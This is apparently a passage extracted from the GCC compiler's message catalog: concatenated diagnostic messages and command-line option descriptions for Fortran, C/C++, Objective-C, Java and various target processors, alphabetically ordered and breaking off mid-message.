<anonymous><built-in><command-line><constant pool index %d not in range><constant pool index %d unexpected type@catch parameter is not a known Objective-C class typeA factor for tuning the upper bound that swing modulo scheduler uses for scheduling a loopA synonym for -std=c89 (for C) or -std=c++98 (for C++)A threshold on the average loop count considered by the swing modulo schedulerABSTRACT INTERFACE '%s' must not be referenced at %LACCESS specification at %L was already specifiedALTERNATE RETURN not permitted at %LAPCS reentrant code not supported.  IgnoredASSERT_EXPR with an always-false conditionASSIGN statement at %L requires a scalar default INTEGER variableASSIGNED GOTO statement at %L requires an INTEGER variableAUX pointer initialized for edge %d->%dAccept definition of macros in <file>Accept extensions to support legacy codeAccess data in the same section from shared anchor pointsAccess specification of the %s operator at %C has already been specifiedAccess specification of the .%s. operator at %C has already been specifiedActual argument at %L for INTENT(%s) dummy '%s' of ELEMENTAL subroutine '%s' is a scalar, but another actual argument is an arrayActual argument at %L is use-associated with PROTECTED attribute and dummy argument '%s' is INTENT = OUT/INOUTActual argument at %L must be definable as the dummy argument '%s' is INTENT = OUT/INOUTActual argument contains too few elements for dummy argument '%s' (%lu/%lu) at %LActual argument for '%s' cannot be an assumed-size array at %LActual argument for '%s' must be ALLOCATABLE at %LActual argument for '%s' must be a pointer at %LAdd <dir> to the end of the main framework include pathAdd <dir> to the end of the main include pathAdd <dir> to the end of the quote include pathAdd <dir> to the end of the system framework include pathAdd <dir> to the end of the system include pathAdd <dir> to the start of the system include pathAdd a MAKE-quoted targetAdd a common subexpression elimination pass after loop optimizationsAdd an unquoted targetAdd extra commentary to assembler outputAdd mudflap bounds-checking instrumentation for multi-threaded programAdd mudflap bounds-checking instrumentation for single-threaded programAdditional debug printsAggressive reduced debug info for structsAlias for --help=targetAlias for -femit-class-fileAlias for -mfloat-abi=hardAlias for -mfloat-abi=softAlign all labelsAlign all loops to 32 byte boundaryAlign code and data to 32 bitsAlign destination of the string operationsAlign doubles at 64-bit boundariesAlign labels which are only reached by jumpingAlign some doubles on dword boundaryAlign the start of functionsAlign the start of loopsAlign to the base type of the bit-fieldAlign variables on a 32-bit boundaryAll intrinsics procedures are available regardless of selected standardAllocatable '%s' at %L cannot have an initializerAllocatable array '%s' at %L must have a deferred shapeAllocatable component at %C must be an arrayAllocatable component of structure at %C must have a deferred shapeAllocatable variable '%s' used as a parameter to '%s' at %L must not be an array of zero sizeAllocate local variables on the stack to allow indirect recursionAllow arbitrary character line width in fixed modeAllow arbitrary character line width in free modeAllow bit-fields to cross word boundariesAllow branches to be packed with other instructionsAllow dollar signs in entity namesAllow fast jumps to the message dispatcherAllow function addresses to be held in registersAllow hardware floating-point instructions to cover both 32-bit and 64-bit operationsAllow implicit conversions between vectors with differing numbers of subparts and/or differing element types.Allow loop optimizations to assume that the loops behave in normal wayAllow math optimizations that may violate IEEE or ISO standardsAllow optimization for floating-point arithmetic which may change theAllow premature scheduling of queued insnsAllow speculative motion of more loadsAllow speculative motion of non-loadsAllow speculative motion of some loadsAllow the arguments of the '?' operator to have different typesAllow the use of MDMX instructionsAllow the use of MT instructionsAllow the use of hardware floating-point ABI and instructionsAllow two instructions to be issued per cycleAlternate RETURN statement at %C is only allowed within a SUBROUTINEAlternate RETURN statement at %L requires a SCALAR-INTEGER return specifierAlternate calling conventionAlternate return cannot appear in operator interface at %LAlternate return specifier in elemental subroutine '%s' at %L is not allowedAlternate return specifier in function '%s' at %L is not allowedAlthough not referenced, '%s' at %L has ambiguous interfacesAltiVec and E500 instructions cannot coexistAltiVec argument passed to unprototyped functionAlways check for non gcj generated classes archivesAlways generate long callsAlways treat bitfields as int-sizedAmbiguous interfaces '%s' and '%s' in %s at %LAmend appropriate diagnostic messages with the command line option that controls themAn alternate return at %L without a * dummy argumentAn outer FORALL construct already has an index with this name %LAnnotate assembler instructions with estimated addressesAppend a second underscore if the name already contains an underscoreAppend underscores to externally visible namesApply negative sign to zero valuesApply variable expansion when loops are unrolledArgument '%s' is appears twice in call to '%s' at %LArgument '%s' of elemental procedure at %L cannot have the POINTER attributeArgument '%s' of elemental procedure at %L must be scalarArgument '%s' of pure function '%s' at %L must be INTENT(IN)Argument '%s' of pure subroutine '%s' at %L must have its INTENT specifiedArgument '%s' of statement function at %L must be scalarArgument '%s' to '%s' at %L must be an associated scalar POINTERArgument NCOPIES of REPEAT intrinsic is negative at %LArgument NCOPIES of REPEAT intrinsic is too large at %LArgument dim at %L must be of INTEGER typeArgument dim at %L must be scalarArgument of %s at %L is not a valid typeArgument of %s at %L must be of length oneArgument of ACOS at %L must be between -1 and 1Argument of ACOSH at %L must not be less than 1Argument of ASIN at %L must be between -1 and 1Argument of ATANH at %L must be inside the range -1 to 1Argument of IACHAR at %L must be of length oneArgument of IACHAR function at %L outside of range 0..127Argument of ICHAR at %L must be of length oneArgument of INT at %L is not a valid typeArgument of KIND at %L is a DERIVED typeArgument of LOG at %L cannot be less than or equal to zeroArgument of LOG10 at %L cannot be less than or equal to zeroArgument of SELECT statement at %L cannot be %sArgument of SELECT statement at %L must be a scalar expressionArgument of SQRT at %L has a negative valueArgument to '%s' at %L is not a variableArgument to -ffpe-trap is not valid: %sArithmetic IF statement at %L requires a numeric expressionArithmetic NaN at %LArithmetic NaN of bit-wise transferred BOZ at %L. This check can be disabled with the option -fno-range-checkArithmetic OK at %LArithmetic OK converting %s to %s at %LArithmetic overflow at %LArithmetic overflow converting %s to %s at %L. This check can be disabled with the option -fno-range-checkArithmetic overflow of bit-wise transferred BOZ at %L. This check can be disabled with the option -fno-range-checkArithmetic underflow at %LArithmetic underflow of bit-wise transferred BOZ at %L. This check can be disabled with the option -fno-range-checkArray '%s' at %L cannot have a deferred shapeArray '%s' at %L is a variable, which does not reduce to a constant expressionArray '%s' at %L with non-constant bounds cannot be an EQUIVALENCE objectArray bound mismatchArray component of structure at %C must have an explicit shapeArray component of structure at %C must have explicit or deferred shapeArray element size too bigArray index at %L is an array of rank %dArray index at %L must be scalarArray operands are incommensurate at %LArray operands are incommensurate converting %s to %s at %LArray pointer '%s' at %L must have a deferred shapeArray reference at %C cannot have more than %d dimensionsArray reference at %L is out of bounds (%ld < %ld) in dimension %dArray reference at %L is out of bounds (%ld > %ld) in dimension %dArray reference in EQUIVALENCE at %C cannot be an array sectionArray reference out of boundsArray section with a vector subscript at %L shall not be the target of a pointerArray specification at %C has more than %d dimensionsArray specification for symbol '%s' in COMMON at %C must be explicitArray specification must be deferred at %LArray specification required in ALLOCATE statement at %LArray-section actual argument at %L is incompatible with the non-assumed-shape dummy argument '%s' due to VOLATILE attributeArray-section actual argument with vector subscripts at %L is incompatible with INTENT(OUT), INTENT(INOUT) or VOLATILE attribute of the dummy argument '%s'Assembler options
=================

Assert the <answer> to <question>.  Putting '-' before <question> disables the <answer> to <question>Assigning to PROTECTED variable at %CAssignment operator interface at %L must be a SUBROUTINEAssignment operator interface at %L must have two argumentsAssignment operator interface at %L must not redefine an INTRINSIC type assignmentAssignment to a FORALL index variable at %LAssume GASAssume a large TLS segmentAssume all symbols have 32-bit valuesAssume all variable arg functions are prototypedAssume arguments alias neither each other nor globalsAssume arguments alias no other storageAssume arguments may alias globals but not each otherAssume big endian bytes, little endian wordsAssume code will be assembled by GASAssume code will be linked by GNU ldAssume code will be linked by HP ldAssume floating-point operations can trapAssume native functions are implemented using JNIAssume no NaNs or infinities are generatedAssume normal C execution environmentAssume possible double misalignmentAssume pt* instructions won't trapAssume signed arithmetic overflow wraps aroundAssume small address spaceAssume strict aliasing rules applyAssume symbols might be invalidAssume target CPU is configured as big endianAssume target CPU is configured as little endianAssume that receivers of Objective-C messages may be nilAssume that the source file is fixed formAssume that the source file is free formAssume the VxWorks RTP environmentAssume the VxWorks vThreads environmentAssume the runtime uses a hash table to map an object to its synchronization structureAssumed character length '%s' in namelist '%s' at %C is not allowedAssumed character length variable '%s' in constant expression at %LAssumed shape array '%s' at %L is not permitted in an initialization expressionAssumed shape array at %L must be a dummy argumentAssumed size array '%s' at %L is not permitted in an initialization expressionAssumed size array '%s' in %s clause at %LAssumed size array '%s' in COPYPRIVATE clause at %LAssumed size array '%s' in namelist '%s' at %C is not allowedAssumed size array at %L must be a dummy argumentAssumed-shape actual argument at %L is incompatible with the non-assumed-shape dummy argument '%s' due to VOLATILE attributeAssumed-shape array '%s' at %L cannot be an argument to the procedure '%s' at %L because the procedure is BIND(C)Assumed-shape array '%s' at %L cannot be an argument to the procedure '%s' because it is not C interoperableAt top level:Attempt to allocate a negative amount of memory.Attempt to allocate negative amount of memory. Possible integer overflowAttempt to fill delay slots of branch instructionsAttempt to indirectly overlap COMMON blocks %s and %s by EQUIVALENCE at %CAttempt to keep stack aligned to this power of 2Attempt to merge identical constants across compilation unitsAttempt to merge identical constants and constant variablesAttempt to merge identical debug strings across compilation unitsAttribute at %L is not allowed in a TYPE definitionAuto pre/post decrement increment allowedAuto pre/post decrement increment not allowedAutomatic array '%s' at %L cannot have an initializerAutomatic character length function '%s' at %L must have an explicit interfaceAutomatically align branch targets to reduce branch penaltiesAvoid all range limits on call instructionsAvoid generating pc-relative calls; use indirectionAvoid speculative loads to work around a hardware anomaly.BB %i can not throw but has EH edgesBB %i last statement has incorrectly set regionBB_RTL flag not set for block %dBIND(C) attribute at %C requires an interface with BIND(C)BIND(C) attribute at %L can only be used for variables or common blocksBIND(C) procedure with NAME may not have POINTER attribute at %CBLOCK DATA element '%s' at %L must be in COMMONBOZ constant at %L is too large (%ld vs %ld bits)BOZ literal at %L is bitwise transferred non-integer symbol '%s'BYTE type used at %C is not available on the target machineBad INTENT specification at %CBad IO basetype (%d)Bad allocate-object in ALLOCATE statement at %C for a PURE procedureBad array reference at %LBad array specification for an explicitly shaped array at %CBad array specification for assumed shape array at %CBad array specification in ALLOCATE statement at %LBad byte codes.
Bad character '%c' in OPERATOR name at %CBad continuation line at %CBad kind expression for function '%s' at %LBad kind for logical constant at %CBad nameBad operatorBad pointer object in PURE procedure at %LBad specification for assumed size array at %CBad specification for deferred shape array at %CBad target in pointer assignment in PURE procedure at %LBad type in constant expressionBinding label '%s' at %L collides with global entity '%s' at %LBinding label '%s' at %L collides with the global entity '%s' at %LBinding label '%s' for common block '%s' at %L collides with global entity '%s' at %LBinding label '%s' for common block '%s' at %L collides with the global entity '%s' at %LBinding label '%s' for common block '%s' at %L does not match the binding label '%s' for common block '%s' at %LBinding label '%s' in interface body at %L collides with the global entity '%s' at %LBlank BLOCK DATA at %C conflicts with prior BLOCK DATA at %LBlanket SAVE statement at %C follows previous SAVE statementBlock label is not appropriate for IF statement at %CBlock label not appropriate for arithmetic IF statement at %CBoard name [and memory region].Bound on number of candidates below that all candidates are considered in iv optimizationsBound on number of iv uses in loop optimized in iv optimizationsBound on number of runtime checks inserted by the vectorizer's loop versioning for alias checkBound on number of runtime checks inserted by the vectorizer's loop versioning for alignment checkBound on size of expressions used in the scalar evolutions analyzerBound on the cost of an expression to compute the number of iterationsBound on the number of equalities in Omega constraint systemsBound on the number of inequalities in Omega constraint systemsBound on the number of iterations the brute force # of iterations analysis algorithm evaluatesBound on the number of keys in Omega constraint systemsBound on the number of variables in Omega constraint systemsBound on the number of wild cards in Omega constraint systemsBound on the size of the hash table in Omega constraint systemsBranches are this expensive (1-5, arbitrary units)Branches executed:%s of %d
By-value argument at %L cannot be an array or an array sectionBy-value argument at %L is not allowed in this contextBy-value argument at %L is not of numeric typeC interoperable character dummy variable '%s' at %L with VALUE attribute must have length oneC++ constructors and destructors will not be invoked for Objective-C fieldsCASE label at %L overlaps with CASE label at %LCHARACTER argument '%s' to '%s' at %L must have a length of 1CHARACTER expression at %L is being truncated (%d/%d)CHARACTER expression will be truncated in assignment (%d/%d) at %LCHARACTER variable has zero length at %LCHARACTER(*) function '%s' at %L cannot be array-valuedCHARACTER(*) function '%s' at %L cannot be pointer-valuedCHARACTER(*) function '%s' at %L cannot be pureCHARACTER(*) function '%s' at %L cannot be recursiveCHARACTER(*) function '%s' at %L is obsolescent in fortran 95CLOSE statement not allowed in PURE procedure at %CCOMMON '%s' at %L does not existCOMMON block '%s' at %L is also an intrinsic procedureCOMMON block '%s' at %L is used as PARAMETER at %LCOMMON block /%s/ not found at %CCOMPLEX quantities cannot be compared at %LCONTAINS statement at %C is already in a contained program unitCOPYIN clause object '%s' at %L has ALLOCATABLE componentsCOPYPRIVATE clause object '%s' at %L has ALLOCATABLE componentsCPU names must be lower caseCPU you selected does not support x86-64 instruction setCRIS-port assertion failed: Call a library routine to do integer divisionsCall mcount for profiling before a function prologueCalling %qD with attribute sseregparm without SSE/SSE2 enabledCalling %qT with attribute sseregparm without SSE/SSE2 enabledCalls executed:%s of %d
Can not find a valid counter:value pair:Can't USE the same module we're building!Can't convert %s to %s at %LCan't find an intrinsic module named '%s' at %CCan't find keyword named '%s' in call to '%s' at %LCan't open file '%s'Can't open module file '%s' for reading at %C: %sCan't open module file '%s' for writing at %C: %sCan't use multiple stack checking methods together.Cannot IMPORT '%s' from host scoping unit at %C - does not exist.Cannot allocate INTENT(IN) variable '%s' at %LCannot assign to INTENT(IN) variable '%s' at %LCannot assign to a named constant at %CCannot assign to loop variable in PURE procedure at %LCannot assign to variable '%s' in PURE procedure at %LCannot change attributes of USE-associated symbol %s at %LCannot change attributes of USE-associated symbol at %LCannot deallocate INTENT(IN) variable '%s' at %LCannot open '%s' for output.
Cannot read to variable '%s' in PURE procedure at %CCannot specify IMPLICIT at %C after IMPLICIT NONECannot write to internal file unit '%s' at %C inside a PURE procedureCause gas to print tomcat statisticsChange only the low 8 bits of the stack pointerChange the ABI to allow double word insnsChange the amount of scheduler lookaheadChange the maximum length of conditionally-executed sequencesChange the number of temporary registers that are available to conditionally-executed sequencesChange the stack pointer without disabling interruptsChange when template instances are emittedChanges visibility to match Microsoft Visual Studio by defaultCharacter argument '%s' at %L must be length 1 because procedure '%s' is BIND(C)Character dummy variable '%s' at %L with VALUE attribute must have constant lengthCharacter length mismatch (%ld/%ld) between actual argument and assumed-shape dummy argument '%s' at %LCharacter length mismatch (%ld/%ld) between actual argument and pointer or allocatable dummy argument '%s' at %LCharacter length of actual argument shorter than of dummy argument '%s' (%lu/%lu) at %LCharacter length of component '%s' needs to be a constant specification expression at %LCharacter-valued argument '%s' of statement function at %L must have constant lengthCharacter-valued internal function '%s' at %L must not be assumed lengthCharacter-valued statement function '%s' at %L must have constant lengthCheck for syntax errors, then stopCheck the return value of newChoose input encoding (defaults from your locale)Chose strategy to generate stringop usingCirrus: Place NOPs to avoid invalid instruction combinationsCode size: small, medium or largeCommon block member '%s' at %L cannot be an EQUIVALENCE object in the pure procedure '%s'Compare the results of several data dependence analyzers.Compile code for ARC variant CPUCompile code for M16C variantsCompile code for M32C variantsCompile code for M32CM variantsCompile code for R8C variantsCompile for 32-bit pointersCompile for 64-bit pointersCompile for ETRAX 100 (CRIS v8)Compile for ETRAX 4 (CRIS v3)Compile for V8+ ABICompile for a 68HC11Compile for a 68HC12Compile for a 68HCS12Compile for the Thumb not the ARMCompile for the m32rCompile for the m32r2Compile for the m32rxCompile for the v850 processorCompile for the v850e processorCompile for the v850e1 processorCompile whole compilation unit at a timeCompile with 16-bit integer modeCompile with 32-bit integer modeComplex argument of LOG at %L cannot be zeroComponent %s of SEQUENCE type declared at %L does not have the SEQUENCE attributeComponent '%s' at %C already declared at %LComponent '%s' at %C is a PRIVATE component of '%s'Component '%s' at %L cannot have the ALLOCATABLE attribute because it is a member of the BIND(C) derived type '%s' at %LComponent '%s' at %L cannot have the POINTER attribute because it is a member of the BIND(C) derived type '%s' at %LComponent '%s' in derived type '%s' at %L may not be C interoperableComponent '%s' in derived type '%s' at %L may not be C interoperable, even though derived type '%s' is BIND(C)Component '%s' of '%s' at %L must have constant array boundsComponent at %C must have the POINTER attributeComponent to the right of a part reference with nonzero rank must not have the ALLOCATABLE attribute at %LComponent to the right of a part reference with nonzero rank must not have the POINTER attribute at %LComponents of structure constructor '%s' at %L are PRIVATEConcat operator at %L must concatenate strings of the same kindConcatenation operator in expression at %L must have two CHARACTER operandsConfigured with: %s
Conflict in attributes of function argument at %CConform more closely to IBM XLC semanticsConform to nothing in particularConform to the ISO 1990 C standardConform to the ISO 1990 C standard as amended in 1994Conform to the ISO 1990 C standard with GNU extensionsConform to the ISO 1998 C++ standardConform to the ISO 1998 C++ standard with GNU extensionsConform to the ISO 1998 C++ standard, with GNU extensions andConform to the ISO 1998 C++ standard, with extensions that are likely toConform to the ISO 1999 C standardConform to the ISO 1999 C standard with GNU extensionsConform to the ISO Fortran 2003 standardConform to the ISO Fortran 95 standardConservative reduced debug info for structsConsider access to byte sized memory slowConsider type 'int' to be 16 bits wideConsider type 'int' to be 32 bits wideConstant expression in FORMAT tag at %L must be of type default CHARACTERConstant expression required at %CConstantValue attribute of field '%s' has wrong typeConstruct webs and split unrelated uses of single variableContained function '%s' at %L has no IMPLICIT typeContained procedure '%s' at %C is already ambiguousContained procedure '%s' at %L of a PURE procedure must also be PUREControl the IEEE trap modeControl the generated fp rounding modeControl the precision given to fp exceptionsConversion from %s to %s at %LConvert all strings and character constants to character set <cset>Convert all wide strings and character constants to character set <cset>Convert floating point constants to single precision constantsCopy array sections into a contiguous block on procedure entryCost to assume for a branch insnCost to assume for a multiply insnCost to assume for gettr insnCount speculative dependencies while calculating priority of instructionsCray Pointee at %C cannot be assumed shape arrayCray Pointee at %L appears in multiple pointer() statementsCray pointee '%s' in %s clause at %LCray pointee '%s' in SHARED clause at %LCray pointer '%s' in %s clause at %LCray pointer at %C has %d bytes of precision; memory addresses require %d bytesCray pointer at %C must be an integerCray pointer declaration at %C requires -fcray-pointer flagCreate GUI applicationCreate a position independent executableCreate a shared libraryCreate canonical induction variables in loopsCreate console applicationCreate data files needed by "gcov"DATA array '%s' at %L must be specified in a previous declarationDATA statement at %C is not allowed in a PURE procedureDATA statement at %L has more values than variablesDATA statement at %L has more variables than valuesDIM argument at %L is out of boundsDO-iterator '%s' at %L is inside iterator of the same nameDOUBLE COMPLEX at %C does not conform to the Fortran 95 standardDW_LOC_OP %s not implementedData element above array upper bound at %LData element below array lower bound at %LData greater than given threshold will go into .ldata section in x86-64 medium modelData transfer element at %L cannot be a full reference to an assumed-size arrayData transfer element at %L cannot have ALLOCATABLE componentsData transfer element at %L cannot have POINTER componentsData transfer element at %L cannot have PRIVATE componentsDead STMT in EH tableDead histogramDefer popping functions args from stack until laterDeferred array '%s' at %L is not permitted in an initialization expressionDeferred-shape array '%s' at %L cannot be an argument to the procedure '%s' at %L because the procedure is BIND(C)Deferred-shape array '%s' at %L cannot be an argument to the procedure '%s' because it is not C interoperableDefine a <macro> with <val> as its value.  If just <macro> is given, <val> is taken to be 1Delete useless null pointer checksDeleted feature: %s at %L must be integerDeleted feature: ASSIGN statement at %CDeleted feature: ASSIGNED variable in FORMAT tag at %LDeleted feature: Assigned GOTO statement at %CDeleted feature: GOTO at %L jumps to END of construct at %LDeleted feature: PAUSE statement at %CDeprecated in favor of -std=c99Deprecated in favor of -std=gnu99Deprecated in favor of -std=iso9899:1999Deprecated option.  Use -misel/-mno-isel insteadDeprecated option.  Use -mspe/-mno-spe insteadDeprecated option.  Use -mvrsave/-mno-vrsave insteadDeprecated.  This switch has no effectDeprecated. Use -Os insteadDeprecated; use --classpath insteadDerived type '%s' at %C is being used before it is definedDerived type '%s' at %L cannot be declared with both PRIVATE and BIND(C) attributesDerived type '%s' at %L cannot have the SEQUENCE attribute because it is BIND(C)Derived type '%s' at %L has PRIVATE componentsDerived type '%s' at %L is emptyDerived type '%s' declared at %L must have the BIND attribute to be C interoperableDerived type at %C can only be PRIVATE in the specification part of a moduleDerived type at %C can only be PUBLIC in the specification part of a moduleDerived type at %C has not been previously defined and so cannot appear in a derived type definitionDerived type component %C is not a permitted EQUIVALENCE memberDerived type definition of '%s' at %C has already been definedDerived type name '%s' at %C already has a basic type of %sDerived type variable '%s' at %L cannot have ALLOCATABLE components to be an EQUIVALENCE objectDerived type variable '%s' at %L must have SEQUENCE attribute to be an EQUIVALENCE objectDerived type variable '%s' at %L with default initialization cannot be in EQUIVALENCE with a variable in COMMONDerived type variable '%s' at %L with pointer component(s) cannot be an EQUIVALENCE objectDerived type variable '%s' in COMMON at %L has an ultimate component that is allocatableDerived type variable '%s' in COMMON at %L has neither the SEQUENCE nor the BIND(C) attributeDerived type variable '%s' in COMMON at %L may not have default initializerDetailed reduced debug info for structsDetermine which dependences between insns are considered costlyDifferent kind type parameters in pointer assignment at %LDifferent ranks in pointer assignment at %LDifferent shape for %s at %L on dimension %d (%d and %d)Different shape for arguments '%s' and '%s' at %L for intrinsic 'dot_product'Different shape on dimension 1 for arguments '%s' and '%s' at %L for intrinsic matmulDifferent shape on dimension 2 for argument '%s' and dimension 1 for argument '%s' at %L for intrinsic matmulDimensions specified for %s at %L after its initialisationDisable FP regsDisable bcnz instructionDisable floating point optimizations that ignore the IEEE signedness of zeroDisable hardware floating pointDisable indexed addressingDisable optimizations observable by IEEE signaling NaNsDisable optimizations that assume default FP rounding behaviorDisable space regsDisallow direct calls to global functionsDiscard unused virtual functionsDiscover pure and const functionsDiscover readonly and non addressable static variablesDisplay compile time statisticsDisplay contents of a class file in readable form.

Display descriptions of a specific class of options.  <class> is one or more of optimizers, target, warnings, undocumented, paramsDisplay statistics accumulated during compilationDisplay the code tree after parsingDisplay the compiler's versionDisplay this informationDistance between tab stops for column reportingDivision by zero at %LDivision by zero converting %s to %s at %LDivision strategy, one of: call, call2, fp, inv, inv:minlat, inv20u, inv20l, inv:call, inv:call2, inv:fp, call-div1, call-fp, call-tableDo not assume GASDo not assume a large TLS segmentDo not assume that standard C libraries and "main" existDo not disable space regsDo not discard commentsDo not discard comments in macro expansionsDo not display functions compiled or elapsed timeDo not emit addressing modes with side-effect assignmentDo not emit complex integer constants to read-only memoryDo not emit function prologue or epilogueDo not generate #line directivesDo not generate .size directivesDo not generate a single exit point for each functionDo not generate fused multiply/add instructionsDo not generate load/store with update instructionsDo not generate tablejump insnsDo not generate thread-safe code for initializing local staticsDo not inline integer divisionDo not inline square rootDo not load the PIC register in function prologuesDo not mark ABI switches in e_flagsDo not place floating point constants in TOCDo not place symbol+offset constants in TOCDo not predefine system-specific and GCC-specific macrosDo not pretend that branches are expensiveDo not provide a default start-address 0x100 of the programDo not put uninitialized globals in the common sectionDo not search standard system include directories (those specified with -isystem will still be used)Do not search standard system include directories for C++Do not specify both -march=... and -mcpu=...Do not support SSE4.1 and SSE4.2 built-in functions and code generationDo not suppress C++ class debug information.Do not suppress warnings from system headersDo not treat local variables and COMMON blocks as if they were named in SAVE statementsDo not tune code and read-only data alignmentDo not tune stack alignmentDo not tune writable data alignmentDo not use MDMX instructionsDo not use MIPS-3D instructionsDo not use POWER instruction setDo not use PowerPC instruction setDo not use VAX fpDo not use a cache-flushing function before calling stack trampolinesDo not use addresses that allocate global registersDo not use condition codes from normal instructionsDo not use direct addressing mode for soft registersDo not use hardware FPDo not use hardware floating pointDo not use hardware fpDo not use hardware quad fp instructionsDo not use inline patterns for copying memoryDo not use push to store function argumentsDo not use the bit-field instructionsDo not use the callt instructionDo not use unaligned memory referencesDo not warn about using "long long" when -pedanticDo not warn about using variadic macros when -pedanticDo stack checking using bounds in L1 scratch memoryDo the full register move optimization passDoes nothing.  Preserved for backward compatibility.Don't align items in code or dataDon't allocate floats and doubles in extended-precision registersDon't call any cache flush functionsDon't call any cache flush trapDon't generate privileged-mode only code; implies -mno-inline-ic_invalidate if the inline code would not work in user mode.Don't optimize block movesDon't use P-mnemonics for branchesDon't warn about uses of Microsoft extensionsDowngrade conformance errors to warningsDriving:Dummy '%s' at %L cannot have an initializerDummy argument '%s' at %L cannot be INTENT(OUT)Dummy argument '%s' at %L cannot be OPTIONALDummy argument '%s' at %L was declared INTENT(OUT) but was not setDummy argument '%s' not allowed in expression at %LDummy procedure '%s' at %C cannot have a generic interfaceDummy procedure '%s' not allowed in elemental procedure '%s' at %LDummy procedure '%s' of PURE procedure at %L must also be PUREDummy procedure at %C may not have BIND(C) attribute with NAMEDummy procedure at %L not allowed in ELEMENTAL procedureDump a core file when a runtime error occursDump declarations to a .decl fileDump various compiler internals to a fileDuplicate %s attribute at %LDuplicate %s attribute specified at %LDuplicate %s label specification at %CDuplicate %s specification at %CDuplicate BIND attribute specified at %LDuplicate ELSE statements at %L and %CDuplicate IMPLICIT NONE statement at %CDuplicate NML specification at %CDuplicate PRIVATE statement at %CDuplicate PROTECTED attribute specified at %LDuplicate SAVE attribute specified at %LDuplicate SEQUENCE statement at %CDuplicate UNIT specification at %CDuplicate VALUE attribute specified at %LDuplicate VOLATILE attribute specified at %LDuplicate array spec for Cray pointee at %CDuplicate construct label '%s' at %CDuplicate format specification at %CDuplicate statement label %d at %L and %LDuplicate symbol '%s' in formal argument list at %CDynamically allocate cc registersE500 and FPRs not supportedEH edge %i->%i has duplicated regionsEH edge %i->%i is missingEH edge %i->%i miss EH flagELEMENTAL function '%s' at %L must have a scalar resultELEMENTAL non-INTRINSIC procedure '%s' is not allowed as an actual argument at %LELSE IF statement at %C cannot follow ELSE statement at %LELSEWHERE statement at %C follows previous unmasked ELSEWHEREELSEWHERE statement at %C not enclosed in WHERE blockEND tag at %C not allowed in output statementEND tag label %d at %L not definedENTRY '%s' at %L has no IMPLICIT typeENTRY result %s can't be a POINTER in FUNCTION %s at %LENTRY result %s can't be an array in FUNCTION %s at %LENTRY result %s can't be of type %s in FUNCTION %s at %LENTRY statement at %C cannot appear in a contained procedureENTRY statement at %C cannot appear within a BLOCK DATAENTRY statement at %C cannot appear within a DERIVED TYPE blockENTRY statement at %C cannot appear within a DO blockENTRY statement at %C cannot appear within a FORALL blockENTRY statement at %C cannot appear within a MODULEENTRY statement at %C cannot appear within a PROGRAMENTRY statement at %C cannot appear within a SELECT blockENTRY statement at %C cannot appear within a WHERE blockENTRY statement at %C cannot appear within a contained subprogramENTRY statement at %C cannot appear within an IF-THEN blockENTRY statement at %C cannot appear within an INTERFACEENTRY_BLOCK has IL associated with itENUM declaration at %C has no ENUMERATORSENUM definition statement expected before %CENUMERATOR %L not initialized with integer expressionEOR tag label %d at %L not definedEQUIVALENCE at %C requires two or more objectsERR tag label %d at %L not definedESA/390 architectureEXIT statement at %C terminating !$OMP DO loopEXIT_BLOCK has IL associated with itEither all or none of the objects in the EQUIVALENCE set at %L shall have the PROTECTED attributeElement in %s array constructor at %L is %sElement of assumed-shaped array passed to dummy argument '%s' at %LEliminate redundant sign extensions using LCM.Embedded space in NAME= specifier at %CEmit 16-bit relocations to the small data areasEmit 32-bit relocations to the small data areasEmit IEEE-conformant code, without inexact exceptionsEmit call graph informationEmit cmpeqdi_t pattern even when -mcbranchdi and -mexpand-cbranchdi are in effect.Emit code for the byte/word ISA extensionEmit code for the counting ISA extensionEmit code for the fp move and sqrt ISA extensionEmit code for the motion video ISA extensionEmit code using explicit relocation directivesEmit common-like symbols as weak symbolsEmit cross referencing informationEmit declaration information into <file>Emit direct branches to local functionsEmit errors when run-time relocations are generatedEmit extra code in the function prologue in order to trap if the stack size exceeds the given limitEmit function-calls using global offset table when generating PICEmit implicit instantiations of inline templatesEmit implicit instantiations of templatesEmit indirect branches to local functionsEmit long load/store sequencesEmit rdval instead of rduniq for thread pointerEmit static const variables even if they are not usedEmit stop bits before and after volatile extended asmsEmit verbose debug information in assembly codeEmit warnings when run-time relocations are generatedEmpty IMPLICIT statement at %CEmpty array constructor at %C is not allowedEmpty set of digits in BOZ constant at %CEnable Dwarf 2 line debug info via GNU asEnable Full Redundancy Elimination (FRE) on treesEnable Function Descriptor PIC modeEnable ID based shared libraryEnable Objective-C exception and synchronization syntaxEnable Objective-C setjmp exception handling runtimeEnable PIC support for building librariesEnable SH5 cut2 workaroundEnable SSA code sinking on treesEnable SSA dead code elimination optimization on treesEnable SSA-CCP optimization on treesEnable SSA-PRE optimization on treesEnable TPF-OS tracing codeEnable all -Wunused- warningsEnable an RTL peephole pass before sched2Enable assignability checks for stores into object arraysEnable automatic generation of fused floating point multiply-add instructionsEnable automatic parallelization of loopsEnable automatic template instantiationEnable backend debuggingEnable basic program profiling codeEnable cbranchdi4 patternEnable common options for generating profile info for profile feedback directed optimizationsEnable common options for performing profile feedback directed optimizationsEnable conditional execution other than moves/sccEnable conditional movesEnable copy propagation of scalar-evolution information.Enable copy propagation on treesEnable dead store eliminationEnable debug outputEnable decimal floating point hardware supportEnable dominator optimizationsEnable dumps from specific passes of the compilerEnable earlier placing stop bits for better schedulingEnable exception handlingEnable function profilingEnable fused multiply/add and multiply/subtract FP instructionsEnable fused multiply/add instructionsEnable garbage collection (GC) in Objective-C/Objective-C++ programsEnable guessing of branch probabilitiesEnable hardware floating pointEnable inlining of PLT in function callsEnable label alignment optimizationsEnable linear loop transforms on treesEnable linker optimizationsEnable linker relaxationsEnable linker relaxingEnable loop header copying on treesEnable loop invariant motion on treesEnable loop optimizations on tree levelEnable loop vectorization on treesEnable loop versioning when doing loop vectorization on treesEnable machine specific peephole optimizationsEnable most warning messagesEnable nested conditional execution optimizationsEnable optimization of static class initialization codeEnable optimizing &&/|| in conditional executionEnable optional diagnosticsEnable range checking during compilationEnable reassociation on tree levelEnable scheduling across basic blocksEnable separate data segmentEnable setting GPRs to the result of comparisonsEnable stack probingEnable strict 32-bit psABI struct return checking.Enable support for huge objectsEnable the normal modeEnable the use of the fused floating point multiply-accumulate operationEnable the use of the indexed addressing mode for SHmedia32/SHcompactEnable the use of the short load instructionsEnable traditional preprocessingEnable unaligned load/store instructionEnable use of GPREL for read-only data in FDPICEnable use of cost model in vectorizationEnable use of sdata/scommon/sbssEnable verbose outputEnable/Disable the traditional scheduling in loops that already passed modulo schedulingEnabled ID based shared libraryEnables a register move optimizationEnd of nonblock DO statement at %C is interwoven with another DO 